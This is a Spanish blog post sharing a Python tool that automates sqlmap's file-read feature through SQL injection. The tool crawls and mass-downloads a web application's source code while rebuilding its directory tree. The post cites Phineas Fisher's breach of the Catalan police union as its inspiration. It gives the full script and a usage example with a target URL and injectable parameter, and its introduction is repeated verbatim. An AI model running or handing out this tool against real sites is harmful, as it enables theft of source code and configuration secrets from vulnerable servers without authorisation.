Hacking Tools: sqlidownloader basado en el script en Perl file_reader.pl de PhineasFisher
Hola!
Seguramente has escuchado sobre los ataques al Sindicat de Mossos d’Esquadra, sino, en Google hay harta información:
https://www.google.cl/search?q=mossos+de+escuadra+hacked
Uno de los ataques fue "grabado" en un video y publicado por un hacker que se hace llamar "Phineas Fisher". El ataque se hizo a través del sitio del sindicato de los policías, era vulnerable a SQL Injection y tenía además varias fallas de programación, que permitieron al atacante descargar todo el código fuente y subir una web shell al servidor.
[mirrors] - Hacking Sindicat de Mossos d'Esquadra (Catalan Police Union) from TuKuLs on Vimeo.
En el video, Phineas Fisher muestra una herramienta escrita en Perl que automatiza la descarga de archivos usando SQLMAP, justamente eso es lo que quiero compartir en este post, pero desarrollado en Python.
Escribí el código porque la herramienta me servirá y porque siempre al desarrollar aparecen desafíos que nos hacen investigar y seguir aprendiendo.
Quienes estan familiarizados con SQLMAP sabrán que usando el parámetro --file-read="/var/www/index.php" podrían descargar el archivo fuente vía un SQLi, cuando son pocos archivos no hay problema, se puede ir actualizando el parámetro y descargarlos uno a uno, pero cuando es un sitio o aplicación web más grande será tedioso hacer ese trabajo.
Otro punto importante es que SQLMAP cuando descarga un archivo lo renombra a partir del path y el nombre del archivo, por ejemplo, si descargamos /var/www/index.php, creará un archivo similar a "var_www_index.php", luego si descargamos /var/www/include/config.php creará "var_www_include_config.php", todos estos archivos en la misma carpeta, lo que hace más difícil la lectura y seguimiento del aplicativo.
Esta herramienta lo que busca es crear la misma estructura de directorios y renombrar los archivos con el mismo nombre que usa la aplicación web, pero todo esto, automáticamente.
Les dejo el código (que he escrito hasta ahora, seguro se puede mejorar) y el github por si alguno desea cooperar.
GitHub: https://github.com/inc0d3/sqlidownloader
Saludos
Seguramente has escuchado sobre los ataques al Sindicat de Mossos d’Esquadra, sino, en Google hay harta información:
https://www.google.cl/search?q=mossos+de+escuadra+hacked
Uno de los ataques fue "grabado" en un video y publicado por un hacker que se hace llamar "Phineas Fisher". El ataque se hizo a través del sitio del sindicato de los policías, era vulnerable a SQL Injection y tenía además varias fallas de programación, que permitieron al atacante descargar todo el código fuente y subir una web shell al servidor.
[mirrors] - Hacking Sindicat de Mossos d'Esquadra (Catalan Police Union) from TuKuLs on Vimeo.
En el video, Phineas Fisher muestra una herramienta escrita en Perl que automatiza la descarga de archivos usando SQLMAP, justamente eso es lo que quiero compartir en este post, pero desarrollado en Python.
Escribí el código porque la herramienta me servirá y porque siempre al desarrollar aparecen desafíos que nos hacen investigar y seguir aprendiendo.
Quienes estan familiarizados con SQLMAP sabrán que usando el parámetro --file-read="/var/www/index.php" podrían descargar el archivo fuente vía un SQLi, cuando son pocos archivos no hay problema, se puede ir actualizando el parámetro y descargarlos uno a uno, pero cuando es un sitio o aplicación web más grande será tedioso hacer ese trabajo.
Otro punto importante es que SQLMAP cuando descarga un archivo lo renombra a partir del path y el nombre del archivo, por ejemplo, si descargamos /var/www/index.php, creará un archivo similar a "var_www_index.php", luego si descargamos /var/www/include/config.php creará "var_www_include_config.php", todos estos archivos en la misma carpeta, lo que hace más difícil la lectura y seguimiento del aplicativo.
Esta herramienta lo que busca es crear la misma estructura de directorios y renombrar los archivos con el mismo nombre que usa la aplicación web, pero todo esto, automáticamente.
Les dejo el código (que he escrito hasta ahora, seguro se puede mejorar) y el github por si alguno desea cooperar.
#! /usr/bin/python import commands import os import re import sys sqlmap_arg = sys.argv[1] dirw = sys.argv[2] droot = sys.argv[3] files = sys.argv[4].split() def download_file(f): status, ret = commands.getstatusoutput("sqlmap " + sqlmap_arg + " --file-read=" + f + " --batch") patron = re.compile("files saved to.*\n\[\*\] (.*) \(same.*") filed = patron.findall(ret) if len(filed) > 0: p, a = os.path.split(f) p += "//" if len(p.replace(droot,"")) > 0: dest = "output/" + dirw + "/" + p.replace(droot,"") + a else: dest = "output/" + dirw + "/" + a os.rename(filed[0],dest) print("[+] Descargado el archivo " + f + "") return dest ######################################################################################################### print(""" SQLiDownloader - Automatic file downloader tool escrito por Victor Herrera www.zeroday.cl """) print("[*] Iniciando descarga") if os.path.isdir("output"): print ("[+] Directorio output creado") else: os.makedirs("output") print ("[+] Directorio output creado") if os.path.isdir("output/" + dirw): print ("[+] Directorio " + dirw + " creado") else: os.makedirs(dirw) print ("[+] Directorio " + dirw + " creado") while (files): nf = download_file(files.pop()) if nf: try: fo = open(nf,"r") fc = fo.read() fo.close() except IOError: fc = "" print ("[*] Error: no se puede abrir el archivo: " + nf) patron = re.compile("require.*['\"](.*?)[\"']|include.*['\"](.*?)[\"']|form.*action=['\"](.*?)[\"']|header\(\"[L,l]ocation:\s(.*?)[\"']") fs = patron.findall(fc) for j in fs: for i in j: if len(i) > 0: files.append(droot + i) if len(os.path.split(i)[0]) > 0: try: os.makedirs("output/" + dirw + "/" + os.path.split(i)[0]) except OSError: pass print("[-] Agregado " + droot + i + " a la cola...") print "[*] Descarga masiva finalizada en " + dirw
Modo de uso:
./sqlidownloader.py [SQLMAP URL and PARAMS] [output-folder] [web_document_root_path] [first_file_or_index_file]
Ejemplo
./sqlidownloader.py "-u http://192.168.0.222/sqliweb/noticias.php?id=2 --dbms=mysql -p id --technique=U" prueba "/var/www/sqliweb" "/var/www/sqliweb/noticias.php"
GitHub: https://github.com/inc0d3/sqlidownloader
Saludos
wow thanks brother
ResponderEliminarwhere is brother the file_reader.pl script----
ResponderEliminarin the video, i can't find the file
Eliminar